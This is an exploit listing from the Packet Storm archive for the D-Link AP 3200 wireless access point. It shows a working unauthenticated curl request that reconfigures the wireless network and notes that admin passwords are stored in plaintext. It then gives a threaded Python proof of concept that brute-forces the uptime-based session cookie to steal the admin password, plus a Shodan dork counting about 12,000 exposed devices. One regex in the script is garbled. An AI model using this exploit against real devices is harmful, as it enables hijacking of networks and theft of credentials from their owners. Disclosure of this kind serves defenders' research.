exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link AP 3200 Missing Authentication / Cleartext Secret Storage

D-Link AP 3200 Missing Authentication / Cleartext Secret Storage
Posted Jul 30, 2014
Authored by pws

D-Link AP 3200 fails to authenticate requests to wireless settings, stores credentials in plaintext, and uses a weak cookie value.

tags | exploit, bypass, info disclosure
SHA-256 | 1adee944461c867636ad8a7e90a9b0c101706ca73b2f762045ec1d3ca7ba4e09

D-Link AP 3200 Missing Authentication / Cleartext Secret Storage

Change Mirror Download
# Exploit Title: D-Link AP 3200 Multiple Vulnerabilities
# Date: 29/07/2014
# Exploit Author: pws
# Vendor Homepage: http://www.dlink.com/
# Firmware Link: http://ftp.dlink.ru/pub/Wireless/DWL-3200AP/Firmware/
# Tested on: Latest version
# Shodan d0rk: "Server: Allegro-Software-RomPager/4.06" ~12000 devices
# CVE : None yet

Those vulnerabilities have only been tested on the D-Link AP 3200 serie but
other series (8600, 7700, 2700, ..) might also be vulnerable.


1. Unauthenticated request to change Wireless settings

To do so, you just need to craft a specific POST Request:

$ curl 'http://192.168.50.3/Forms/FormCfgWireless?1,0,6' --data 'ApModeMenu=Access+Point&Ssid=MyPrivateNetwork&SsidBroadcast=Enable&AutoChannelScan=on&AuthMenu=WPA2-Personal&Cipher=AUTO&WPA_GroupKeyUpdateInterval=1800&passphrase=OMGWTFBBQ&Preapply=0&toReboot=0&hide=0' -D -

HTTP/1.1 303 See Other
Location: http://192.168.50.3/html/bWirelessSetting.htm?1,0,6
Content-Length: 0
Server: Allegro-Software-RomPager/4.06

ESSID will be: MyPrivateNetwork
Passphrase will be: OMGWTFBBQ

Other actions might also be vulnerable but this one was the most critical.
Moreover, those requests can lead to CSRF attacks (to target internal devices).


2. Credentials in plaintext

Passwords are stored in plaintext in the device.
This can be verified by (after logging in) going to administration page: /html/tUserAccountControl.htm .
Fields (Old && New && Confirm New) password are already filled.


3. Weak cookie value (RpWebID)

The cookie value generated is nothing more than the uptime of the AP.
Here is the output between two requests (delay between requests: 1sec):

$ curl http://192.168.50.3
<html><head>
<script src="jsMain.js"> </script>
<title>DWL-3200AP</title></head>


<script language='JavaScript'>
document.cookie = 'RpWebID=3c27a451';
</script>
<script language='JavaScript'>
function JumpToHmain(){location.replace('/html/index.htm');}window.setTimeout('JumpToHmain()',1);</script>


$ curl http://192.168.50.3
<html><head>
<script src="jsMain.js"> </script>
<title>DWL-3200AP</title></head>


<script language='JavaScript'>
document.cookie = 'RpWebID=3c27a452';
</script>
<script language='JavaScript'>
function JumpToHmain(){location.replace('/html/index.htm');}window.setTimeout('JumpToHmain()',1);</script>


4. PoC Time!

Basically, this code extracts the cookie value and decrement it to try all combinations from the last hour. (3600 values)
If there's one valid, it recovers the password from the AP.
I added some (horrible) 'trick' to not stress the network 'too much', but we said PoC, right?

# Example of usage
# $ python poc.py
# Cookie value extracted: 3c27acbb
# [+] Cookie: 3c27acae valid !
# [+] Password of AP is: admin123

import threading
import requests
import sys
import re
import time
import HTMLParser

# replace it with your target
url = "http://192.168.50.3/"

def test_valid_cookie(cookie_val):
cookies = dict(RpWebID=cookie_val)
try:
req = requests.get('%shtml/tUserAccountControl.htm' % (url), cookies=cookies, timeout=10)
pattern = r"NAME=\"OldPwd\" SIZE=\"12\" MAXLENGTH=\"12\" VALUE=\"([�-9]+)\""
if ('NAME="OldPwd"' in req.content):
print '[+] Cookie: %s valid !' % (cookie_val)
h = HTMLParser.HTMLParser()
password = re.findall(pattern, req.content)[0].replace('&', ';&')[1:] + ";"
print '[+] Password of AP is: %s' % h.unescape(password)
except:
# print "[!] Error while connecting to the host"
sys.exit(-1)


def get_cookie_value():
pattern = "RpWebID=([a-z0-9]{8})"
try:
req = requests.get(url, timeout=3)
regex = re.search(pattern, req.content)
if (regex is None):
print "[!] Unable to retrieve cookie in HTTP response"
sys.exit(-1)
else:
return regex.group(1)
except:
print "[!] Error while connecting to the host"
sys.exit(-1)

cookie_val = get_cookie_value()
print "Cookie value extracted: %s" % (cookie_val)

start = int(cookie_val, 16) - 3600 # less than one hour
cookie_val = int(cookie_val, 16)

counter = 0
for i in xrange(cookie_val, start, -1):
if (counter >= 350):
time.sleep(3)
counter = 0
b = threading.Thread(None, test_valid_cookie, None, (format(i, 'x'),))
b.start()
counter = counter + 1


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close